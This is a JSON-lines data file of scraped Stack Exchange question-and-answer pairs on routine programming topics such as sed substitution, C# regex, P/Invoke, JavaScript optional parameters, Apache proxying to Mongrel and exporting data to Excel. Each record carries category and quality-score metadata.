{"id": "hf_db59e754e086", "question": "<p>I would like to update a large number of C++ source files with an extra include directive before any existing #includes. For this sort of task, I normally use a small bash script with sed to re-write the file. </p>\n\n<p>How do I get <code>sed</code> to replace just the first occurrence of a string in a file rather than replacing every occurrence?</p>\n\n<p>If I use</p>\n\n<pre><code>sed s/#include/#include \"newfile.h\"\\n#include/\n</code></pre>\n\n<p>it replaces all #includes. </p>\n\n<p>Alternative suggestions to achieve the same thing are also welcome.</p>\n", "question_body": "", "answer": "```\n```\n# sed script to change \"foo\" to \"bar\" only on the first occurrence\n 1{x;s/^/first/;x;}\n 1,/foo/{x;/first/s///;x;s/foo/bar/;}\n #---end of script---\n```\n```\nor, if you prefer:\nEditor's note: works with\nGNU\n```\nsed\n```\nonly.\n```\n```\nsed '0,/foo/s//bar/' file\n```\n```\nSource", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:51.104051"}
{"id": "hf_9e395c1d9dfc", "question": "<p>It seems the .NET Regex.Replace method automatically replaces all matching occurrences.  I could provide a MatchEvaluator delegate that returns the matched string after the first replacement, rendering no change, but that sounds very inefficient to me.</p>\n\n<p>What is the most efficient way to stop after the first replacement?</p>\n", "question_body": "", "answer": "From\nMSDN\n:\n```\n```\nReplace(String, String, Int32)\n```\n```\nWithin a specified input string, replaces a specified maximum number of strings that \n  match a regular expression pattern with a specified replacement string.\nIsn't this what you want?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:51.193305"}
{"id": "hf_4c7b4413ccd5", "question": "<p>I'm trying to learn C++ so forgive me if this question demonstrates a lack of basic knowledge, you see, the fact is, I have a lack of basic knowledge.</p>\n\n<p>I want some help working out how to create an iterator for a class I have created.</p>\n\n<p>I have a class 'Shape' which has a container of Points. \nI have a class 'Piece' which references a Shape and defines a position for the Shape.\nPiece does not have a Shape it just references a Shape.</p>\n\n<p>I want it to seem like Piece is a container of Points which are the same as those of the Shape it references but with the offset of the Piece's position added.</p>\n\n<p>I want to be able to iterate through the Piece's Points just as if Piece was a container itself. I've done a little reading around and haven't found anything which has helped me. I would be very grateful for any pointers.</p>\n", "question_body": "", "answer": "/EDIT: I see, an own iterator is actually necessary here (I misread the question first). Still, I'm letting the code below stand because it can be useful in similar circumstances.\nIs an own iterator actually necessary here? Perhaps it's sufficient to forward all required definitions to the container holding the actual Points:\n```\n```\n// Your class `Piece`\nclass Piece {\nprivate:\n    Shape m_shape;\n\npublic:\n\n    typedef std::vector<Point>::iterator iterator;\n    typedef std::vector<Point>::const_iterator const_iterator;\n\n    iterator begin() { return m_shape.container.begin(); }\n\n    const_iterator begin() const { return m_shape.container.begin(); }\n\n    iterator end() { return m_shape.container.end(); }\n\n    const_iterator end() const { return m_shape.const_container.end(); }\n}\n```\n```\nThis is assuming you're using a\n```\nvector\n```\ninternally but the type can easily be adapted.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:51.229500"}
{"id": "hf_8a3abac677fe", "question": "<p>I have seen a few (old) posts on the 'net about hacking together some support for pre-compiled headers in CMake. They all seem a bit all-over the place and everyone has their own way of doing it. What is the best way of doing it currently?</p>\n", "question_body": "", "answer": "Don't even go there. Precompiled headers mean that whenever one of the headers changes, you have to rebuild\neverything\n. You're lucky if you have a build system that realizes this. More often than never, your build will just fail until you realize that you changed something that is being precompiled, and therefore you need to do a full rebuild. You can avoid this mostly by precompiling the headers that you are absolutely positive won't change, but then you're giving up a large part of the speed gain as well.\nThe other problem is that your namespace gets polluted with all kinds of symbols that you don't know or care about in many places where you'd be using the precompiled headers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:51.265816"}
{"id": "hf_1f526b80064a", "question": "<p>I am currently getting exceptions when modifying an IBindingList on multiple threads. Does anyone have a threadsafe version before I write my own?</p>\n", "question_body": "", "answer": "I think you'll find this an incredibly difficult task. The easier path would be to prevent multiple-thread access with a\n```\nlock\n```\n:\n```\n```\nvoid AddItemToList(object o)\n{\n    lock(myBindingList)\n    {\n        myBindingList.Add(o);\n    }\n}\n```\n```\nLook at the\nlock statement docs\nfor more info.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:51.302330"}
{"id": "hf_a9e103da0b23", "question": "<p>Is it possible to access a constant value (i.e. a public static final variable defined in a Java class) from a Velocity template?</p>\n\n<p>I would like to be able to write something like this:</p>\n\n<pre><code>#if ($a lt Long.MAX_VALUE)\n</code></pre>\n\n<p>but this is apparently not the right syntax.</p>\n", "question_body": "", "answer": "Velocity can only use anything it finds in its context, after e.g.\n```\n```\ncontext.put(\"MaxLong\", Long.MAX_VALUE);\n```\n```\nYou cannot use statics, or access static members of things in Velocity's context due to the way its lookup works (see Velocity's\nProperty lookup rules\n). The best thing to do is add the value you want to check against explicitly in your context.\nEdit October 6\non second sight, it seems to be possible to access static members. See the velocity\nDeveloper guide - Support for \"Static Classes\"\nfor more information. I have not tried this out, though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:51.343581"}
{"id": "hf_0af260199b2d", "question": "<p>Had anybody found a way to migrate MediaWiki pages over to WSS Wikis? We just put up Sharepoint 2007 and while it appears to meet our needs, it doesn't appear to be any tool provided by Microsoft to migrate MediaWiki pages over to WSS wikis.</p>\n", "question_body": "", "answer": "There is no such tool provided by Microsoft at this time.\nThere is one being developed though in the\nSharePoint Community Kit\n.\nWiki Import/Export Tool\nThe EWE team is at a very early stage of designing an import/export tool for the SharePoint wiki. The goal is for this tool to be able to import from other wiki products such as FlexWiki, MediaWiki, and TWiki, and Confluence and also from Word and OneNote as well as to export to Word via HTML (per page) and MHTML (entire wiki) formats.\nFor this CKS 2.0 pre-release, the EWE team is making available a fairly stable build of the FlexWiki Import Tool, for which the source code was graciously donated by Michael Cheng, a developer in the SharePoint product group. This is a one-off tool that will ultimately be converted to a plug-in for the Wiki Import/Export Tool, so if you’re currently using FlexWiki, please test the tool and provide feedback.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:51.368579"}
{"id": "hf_6b5a12844833", "question": "<p>i work with sql server, but i must migrate to an application with Oracle DB.\nfor trace my application queries, in Sql Server i use wonderful Profiler tool. is there something of equivalent for Oracle?</p>\n", "question_body": "", "answer": "Oracle, along with other databases, analyzes a given query to create an execution plan.  This plan is the most efficient way of retrieving the data.\nOracle provides the '\n```\nexplain plan\n```\n' statement which analyzes the query but doesn't run it, instead populating a special table that you can query (the plan table).\nThe syntax (simple version, there are other options such as to mark the rows in the plan table with a special ID, or use a different plan table) is:\n```\n```\nexplain plan for <sql query>\n```\n```\nThe analysis of that data is left for another question, or your further research.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:51.417806"}
{"id": "hf_939fdf19c68a", "question": "<p>This <strike>is clearly not</strike> appears like it wouldn't be a best practice. Can someone explain why it would not be a best practice or how this works? Any books or articles  providing an explanation would be appreciated.</p>\n\n<pre><code>//The constructor\npublic Page_Index() {\n\n    //create a local value\n    string currentValue = \"This is the FIRST value\";\n\n    //use the local variable in a delegate that fires later\n    this.Load += delegate(object sender, EventArgs e) {\n        Response.Write(currentValue);\n    };\n\n    //change it again\n    currentValue = \"This is the MODIFIED value\";\n\n}\n</code></pre>\n\n<p>The value that is output is the second value <em>\"Modified\"</em>. What part of the compiler magic is making this work? Is this as simple as keeping track of the value on the heap and retrieving it again later?</p>\n\n<p>[Edit]: Given some of the comments, changing the original sentence some...</p>\n", "question_body": "", "answer": "currentValue is no longer a local variable: it is a\ncaptured\nvariable. This compiles to something like:\n```\n```\nclass Foo {\n  public string currentValue; // yes, it is a field\n\n  public void SomeMethod(object sender, EventArgs e) {\n    Response.Write(currentValue);\n  }\n}\n...\npublic Page_Index() {\n  Foo foo = new Foo();\n  foo.currentValue = \"This is the FIRST value\";\n  this.Load += foo.SomeMethod;\n\n  foo.currentValue = \"This is the MODIFIED value\";\n}\n```\n```\nJon Skeet has a really good write up of this in\nC# in Depth\n, and a separate (not as detailed) discussion\nhere\n.\nNote that the variable currentValue is now on the heap, not the stack - this has lots of implications, not least that it can now be used by various callers.\nThis is different to java: in java the\nvalue\nof a variable is captured. In C#, the\nvariable itself\nis captured.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:51.454579"}
{"id": "hf_744350254198", "question": "<p>I don't see what all this fuss is about Microsoft's decision to support JQuery within ASP.NET MVC.</p>\n\n<p>There were signs that open-minded people are starting to have some say in the matters of marketing for a while now. And even the way MS does business has started to change. But at it's core it's still acting in response to customers' requests.</p>\n\n<p>I for one don't know what to make of it, except that it brings back to Microsoft's sphere of influence a very visible product.</p>\n", "question_body": "", "answer": "Its the first time MS is shipping an open source component\nthey didn't write\nwith one of their products.  This doesn't seem like a big deal, but its almost nuclear in its implications.\nThink about it... They are saying \"we support this.\"  In an OSS product, MS has no control over the code.  So, they are putting their livelihood (in some small way) into the hands of people who don't work for MS.\nI think jQuery's popularity, the fact that it's not mission critical code, and that the codebase is so small all came together to make for favorable circumstances for MS to dip their toe in the water.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:51.480147"}
{"id": "hf_5567b9c33aba", "question": "<p>.NET developers out there! Need your opinion here!</p>\n\n<p>I am now using <a href=\"http://www.wholetomato.com\" rel=\"noreferrer\">Visual Assist X</a>, a decent piece of software, indeed. But the .NET bloggers seem to prefer <a href=\"http://www.jetbrains.com/resharper\" rel=\"noreferrer\">Resharper</a> more. I might want to consider a switch over, but before that I want your guys opinion first.</p>\n", "question_body": "", "answer": "Resharper is much better for C# code (and supposedly VB.Net, but I haven't tried that).\nUnfortunately there is no support for C/C++, so if you need that, you might want to keep Visual Assist around.\nThey don't coexist very well, unfortunately, so you may need to unload one, then load the other, when switching between C/C++ and C#.\nTo see the magic of Resharper, I would recommend watching the\n\"Resharper Jedi\" video\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:51.530713"}
{"id": "hf_a51e7f2a7204", "question": "<p>Is there an iSeries command to export the data in a table to CSV format?</p>\n\n<p>I know about the Windows utilities, but since this needs to be run automatically I need to run this from a CL program.</p>\n", "question_body": "", "answer": "If you want the data to be downloaded directly to a PC, you can use the \"Data Transfer from iSeries\" function of IBM iSeries Client Access to create a .CSV file. In the file output details dialog, set the file type to\n```\nComma Separated Variable (CSV)\n```\n.\nYou can save the transfer description to be reused later.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:51.568264"}
{"id": "hf_56d4d0656ac8", "question": "<p>I'd like to add scrolling capability to a <code>javax.swing.JDesktopPane</code>. But wrapping in a <code>javax.swing.JScrollPane</code> does not produce the desired behavior.</p>\n\n<p><a href=\"http://www.google.com/search?q=scrollable+jdesktoppane\" rel=\"nofollow noreferrer\">Searching the web</a> shows that this has been an issue for quite some time. There are <a href=\"http://jscroll.sourceforge.net\" rel=\"nofollow noreferrer\">some</a> <a href=\"http://www.javaworld.com/javaworld/jw-11-2001/jw-1130-jscroll.html\" rel=\"nofollow noreferrer\">solutions</a> out there, but they seem to be pretty old, and I'm not not completely satisfied with them.</p>\n\n<p>What <strong>actively maintained</strong> solutions do you know?</p>\n", "question_body": "", "answer": "I've used\nJavaWorld's solution\nby creating my own\n```\nJScrollableDesktopPane.\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:51.605514"}
{"id": "hf_85a1de664164", "question": "<p>I want to be able to intercept the shutdown event in C# for Windows Vista.  Due to the advanced security features with Vista, any applications that are running after the shutdown command is called are halted and displayed in a list, prompting the user to do something with them.</p>\n\n<p>Does anybody know how to overcome this and what events I need to be using in Vista.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "```\n```\nSystem.Environment.HasShutdownStarted\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:51.648243"}
{"id": "hf_1dd116d2954d", "question": "<p>In C# how do you detect is a specific drive is a Hard Drive, Network Drive, CDRom, or floppy?</p>\n", "question_body": "", "answer": "DriveInfo.DriveType\nshould work for you.\n```\n```\nDriveInfo[] allDrives = DriveInfo.GetDrives();\n\nforeach (DriveInfo d in allDrives)\n{\n    Console.WriteLine(\"Drive {0}\", d.Name);\n    Console.WriteLine(\"  File type: {0}\", d.DriveType);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:51.673342"}
{"id": "hf_7115879d997b", "question": "<p>What is the difference between a <strong><em>framework</em></strong> and a <strong><em>library</em></strong>? </p>\n\n<p>I always thought of a library as a set of objects and functions that focuses on solving a particular problem or a specific area of application development (i.e. database access); and a framework on the other hand as a collection of libraries centered on a particular methodology (i.e. MVC) and which covers all areas of application development.</p>\n", "question_body": "", "answer": "A\nlibrary\nperforms specific, well-defined operations.\nA\nframework\nis a skeleton where the application defines the \"meat\" of the operation by filling out the skeleton.  The skeleton still has code to link up the parts but the most important work is done by the application.\nExamples of libraries:\nNetwork protocols, compression, image manipulation, string utilities, regular expression evaluation, math.  Operations are self-contained.\nExamples of frameworks:\nWeb application system, Plug-in manager, GUI system.  The framework defines the concept but the application defines the fundamental functionality that end-users care about.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:51.697664"}
{"id": "hf_69ac880282f2", "question": "<p>Selecting the union:</p>\n\n<pre><code>select * from table1 \nunion \nselect * from table1_backup \n</code></pre>\n\n<p>What is the query to select the intersection?</p>\n", "question_body": "", "answer": "In SQL Server\nintersect\n```\n```\nselect * from table1 \nintersect\nselect * from table1_backup\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:51.773977"}
{"id": "hf_9b727ab9c912", "question": "<p>Is there a way to identify unused attributes/methods in Visual C++ 2008 Professional? If it's not possible by default, recommendations of 3rd-party tools are also much appreciated.</p>\n\n<p>Thanks,<br>\nFlorian  </p>\n\n<p><strong>Edit:</strong> nDepend only works for .NET assemblies. I'm looking for something that can be used with native C++ applications.</p>\n", "question_body": "", "answer": "nDepend\nwill do it, along with cleaning your house and taking the dog for a walk. There's a nagware version available for free.\nThe following code query language statement will get you a list of unused methods\n```\n```\nWARN IF Count > 0 IN SELECT TOP 10 METHODS WHERE MethodCa == 0 AND \n   !IsPublic AND !IsEntryPoint AND !IsExplicitInterfaceImpl AND \n   !IsClassConstructor AND !IsFinalizer\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:51.814941"}
{"id": "hf_e9064cf67945", "question": "<p>Is there a component available list FileUpload which shows files on the server, not the client?  </p>\n\n<p>I am basically looking for a clean dialog box to select server side files, like the one used in FileUpload.</p>\n", "question_body": "", "answer": "Nope. There's not.  That said, you can use a listbox, and load the files into it.\n```\n```\npublic sub file_DatabindListbox(directoryPath as string)\n   for each fName as string in io.directory(directorypath).getfilenames()\n     dim li as new listitem \n     li.text = io.path.getfilename(fName)\n     li.value = fName\n     myFileListbox.Items.Add(li)\n   next\nend sub\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:51.839596"}
{"id": "hf_be42c72044ab", "question": "<p>There are situations, where it is practical to have a type-cast return a null value instead of throwing a ClassCastException. C# has the <code>as</code> operator to do this. Is there something equivalent available in Java so you don't have to explicitly check for the ClassCastException?</p>\n", "question_body": "", "answer": "You can use the\n```\ninstanceof\n```\nkeyword in place of C#'s\n```\nis\n```\n, but there is nothing like\n```\nas\n```\n.\nExample:\n```\n```\nif(myThing instanceof Foo) {\n   Foo myFoo = (Foo)myThing; //Never throws ClassCastException\n   ...\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:51.864298"}
{"id": "hf_1e5b25b71e4b", "question": "<p>Will .Net 4.0 use a new version of the CLR (v2.1, 3.0) or will it stick with the existing v2.0?</p>\n\n<p>Supplementary: Is it possibly going to keep with CLR v2.0 and add DLR v1.0?</p>\n\n<p>Update: Whilst this might look like a speculative question which cannot be answered, the VS team appear to be releasing more and more info on VS10 and .Net 4.0 so this may very soon not be the case. (Info available here -> <a href=\"http://msdn.microsoft.com/en-us/vstudio/products/cc948977.aspx\" rel=\"noreferrer\">http://msdn.microsoft.com/en-us/vstudio/products/cc948977.aspx</a>)</p>\n", "question_body": "", "answer": "4.0 is going to be another side by side release from what I have read.\nhttp://blogs.msdn.com/wenlong/archive/2008/09/07/net-4-0-wf-wcf-and-oslo.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:51.889200"}
{"id": "hf_d747ac124a7d", "question": "<p>I'm trying to get started writing some Ruby on Rails apps and have been successful with Mongrel but, I'd like to deploy my apps to my Apache 2.2 instance on Windows?  All the tutorials I've found seem out of date and are for older versions of Apache/Rails.</p>\n\n<p>Does anyone know of a good, current tutorial for configuring Apache 2.2 for Ruby on Rails apps?</p>\n", "question_body": "", "answer": "EDIT:\nAt least until there's a Phusion Passenger for Win, Apache + Mongrel is the way to go. You can use Apache + FastCGI without Mongrel, but under real loads you will get (more) zombie processes and (more) memory leaks.\nYou could also look at proxying to\nThin\nin the same way as detailed below. However, I've had some instabilities with Thin on Win, even though it's appreciably quicker. AB (Apache Benchmark) is your friend here!\nConfiguring Apache + Mongrel on Windows is not significantly different from *nix.\nEssentially, you need to proxy requests coming into Apache to Mongrel. What this boils down to is something like this:\n```\n```\nLoadModule proxy_module modules/mod_proxy.so\nLoadModule proxy_http_module modules/mod_proxy_http.so\n<VirtualHost localhost:80>\n    ServerName www.myapp.comm\n    DocumentRoot \"C:/web/myapp/public\"\n    ProxyPass / http://www.myapp.com:3000/\n    ProxyPassReverse / http://www.myapp.com:3000/\n    ProxyPreserveHost On\n</VirtualHost>\n```\n```\nStick this in your\n```\nhttpd.conf\n```\n(or\n```\nhttpd-vhost.conf\n```\nif you're including it).\nIt assumes you're going to run mongrel on port 3000, your Rails root is in\n```\nC:\\web\\myapp\n```\n, and you'll access the app at www.myapp.com.\nTo run the rails app in production mode:\n```\n```\nmongrel_rails start -p 3000 -e production\n```\n```\nAnd away you go (actually mongrel defaults to port 3000 so you could skip\n```\n-p 3000\n```\nif you want).\nThe main difference is that you cannot daemonize mongrel on Windows (i.e. make it run in the background). Instead you can install it as a service using the\n```\nmongrel_service\n```\ngem.\nAlso, running a cluster is more complicated and you won't be able to use Capistrano. Let me know if you want more info.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:51.926605"}
{"id": "hf_6f1d381b3e15", "question": "<p>I need to call an external dll from c#. This is the header definition:</p>\n\n<pre><code>enum WatchMode { \n   WATCH_MODE_SYSTEM = 0,          \n   WATCH_MODE_APPLICATION  = 1 };  \n\nLONG ADS_API WDT_GetMode ( LONG i_hHandle, WatchMode * o_pWatchMode );\n</code></pre>\n\n<p>I've added the enum and the call in C#:</p>\n\n<pre><code>public enum WatchMode\n{\n    WATCH_MODE_SYSTEM = 0,\n    WATCH_MODE_APPLICATION = 1       \n}\n[DllImport(\"AdsWatchdog.dll\")]\ninternal static extern long WDT_GetMode(long hHandle, ref WatchMode watchmode);\n</code></pre>\n\n<p>This generates an AccessViolationException. I know the dll is 'working' because I've also added a call to <code>GetHandle</code> which returns the <code>hHandle</code> mentioned above. I've tried to change the param to an <code>int</code> (<code>ref int watchmode</code>) but get the same error. Doesn anyone know how I can PInvoke the above call?</p>\n", "question_body": "", "answer": "You're running into a parameter size problem difference between C# and C++.  In the C++/windows world LONG is a 4 byte signed integer.  In the C# world long is a 8 byte signed integer.  You should change your C# signature to take an int.\nffpf is wrong in saying that you should use an IntPtr here.  It will fix this particular problem on a 32 bit machine since an IntPtr will marshal as a int.  If you run this on a 64 bit machine it will marshal as a 8 byte signed integer again and will crash.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:51.987864"}
{"id": "hf_3569a3ac1428", "question": "<p>I have been googling for a good time on how to move a file with c# using the TFS API. The idea is to have a folder on which the developers drop database upgrade scripts and the build process get's to the folder creates a build script and moves all the files on the folder to a new folder with the database build version that we just created. </p>\n\n<p>I cannot seriously find any reference about moving files programatically in TFS... (aside of the cmd command line) </p>\n\n<p>does anybody know of a good guide / msdn starting point for learning TFS source control files manipulation via c#? </p>\n", "question_body": "", "answer": "Its pretty simple :).\n```\n```\nMicrosoft.TeamFoundation.VersionControl.Client.Workspace workspace = GetMyTfsWorkspace();\nworkspace.PendRename( oldPath, newPath );\n```\n```\nThen you need CheckIn it of course. Use a \"workspace.GetPendingChanges()\" and \"workspace.CheckIn()\" methods to do it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:52.025459"}
{"id": "hf_cbf565523203", "question": "<p>In an OLAP database I work with there is a 'Location' hierarchy consisting of the levels Company -> Region -> Area -> Site -> Room. I am using the following MDX to get all the descendants of a particular member at company level.</p>\n\n<pre><code>DESCENDANTS([Location].[Test Company],[Location].[Site], SELF_AND_BEFORE)\n</code></pre>\n\n<p>I now have a requirement to exclude a particular Region, named \"Redundant\", from the report. How can I change the above MDX to exclude this particular Region (and all its descendants)? I know this Region will be called \"Redundant\" but I do not want to hard-code any of the other Region names, as these may change.</p>\n", "question_body": "", "answer": "The EXCEPT function will take a set, and remove the members you dont want. In your case you need to say:\n```\n```\nEXCEPT(\n{DESCENDANTS([Location].[Test Company],[Location].[Site], SELF_AND_BEFORE)},\n{DESCENDANTS([Location].[Whatever].[Redundant],[Location].[Site], SELF_AND_BEFORE)}\n)\n```\n```\nThis gives you everything in the first set except what you've mentioned in the second. It's easier to understand like this:\n```\n```\nEXCEPT({the set i want}, {a set of members i dont want})\n```\n```\nYou shouldnt need to worry about the third (optional) argument:\nhttp://msdn.microsoft.com/en-us/library/ms144900.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:52.049753"}
{"id": "hf_405293df69a0", "question": "<p>I've always handled optional parameters in JavaScript like this:</p>\n\n<pre><code>function myFunc(requiredArg, optionalArg){\n  optionalArg = optionalArg || 'defaultValue';\n\n  // Do stuff\n}\n</code></pre>\n\n<p>Is there a better way to do it?</p>\n\n<p>Are there any cases where using <code>||</code> like that is going to fail?</p>\n", "question_body": "", "answer": "Your logic fails if optionalArg is passed, but evaluates as false - try this as an alternative\n```\n```\nif (typeof optionalArg === 'undefined') { optionalArg = 'default'; }\n```\n```\nOr an alternative idiom:\n```\n```\noptionalArg = (typeof optionalArg === 'undefined') ? 'default' : optionalArg;\n```\n```\nUse whichever idiom communicates the intent best to you!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:52.111926"}
{"id": "hf_c6a7b05ea921", "question": "<p>I have some commits that I've decided, after the fact, are going to be more branch work then trunk work. How do I create the branch and revert the trunk while still ensuring merging isn't painful later?</p>\n\n<p>Is it as simple as copying the current trunk to a branch and reverting the trunk? Or will this create headaches later?</p>\n", "question_body": "", "answer": "There's nothing wrong with following Philip's method, other than it leaves some \"cruft\" in the revision history. If you wanted to removed them for tidiness sake, and the revisions are at HEAD you could remove them from the repository by following\nthese instructions\n.\nUpdate:\nPhilip's method is better than the one suggested in the question for the reasons he stated. Mine and Philip's methods would be similar, except that insead of reverting the trunk I propose removing the revisions from the revision history. (as I said, this can only be done if all the revisions you want to remove are at the HEAD of the repository.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:52.136449"}
{"id": "hf_7f9bcfe2fcde", "question": "<p>We let users create ad-hoc queries in our website.  We would like to have the user select their criteria, then click submit and have the results streamed automatically to Excel.  I have the application populating a DataTable, then using the datatable to create a tab delimited string.  The problem is getting that to excel.</p>\n\n<p>What is the best way to stream data to Excel?  Preferrably, we wouldn't have to make users close an empty window after clicking the submit button.</p>\n", "question_body": "", "answer": "Change the page's file type to excel, and only stream the HTML necessary to build a table to the page. code from\nhere\n```\n```\n//for demo purpose, lets create a small datatable & populate it with dummy data\nSystem.Data.DataTable workTable = new System.Data.DataTable();\n\n//The tablename specified here will be set as the worksheet name of the generated Excel file. \nworkTable.TableName = \"Customers\";\nworkTable.Columns.Add(\"Id\");\nworkTable.Columns.Add(\"Name\");\nSystem.Data.DataRow workRow;\n\nfor (int i = 0; i <= 9; i++)\n{\nworkRow = workTable.NewRow();\nworkRow[0] = i;\nworkRow[1] = \"CustName\" + i.ToString();\nworkTable.Rows.Add(workRow);\n}\n\n//...and lets put DataTable2ExcelString to work\nstring strBody = DataTable2ExcelString(workTable);\n\nResponse.AppendHeader(\"Content-Type\", \"application/vnd.ms-excel\");\nResponse.AppendHeader(\"Content-disposition\", \"attachment; filename=my.xls\");\nResponse.Write(strBody);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:52.173617"}
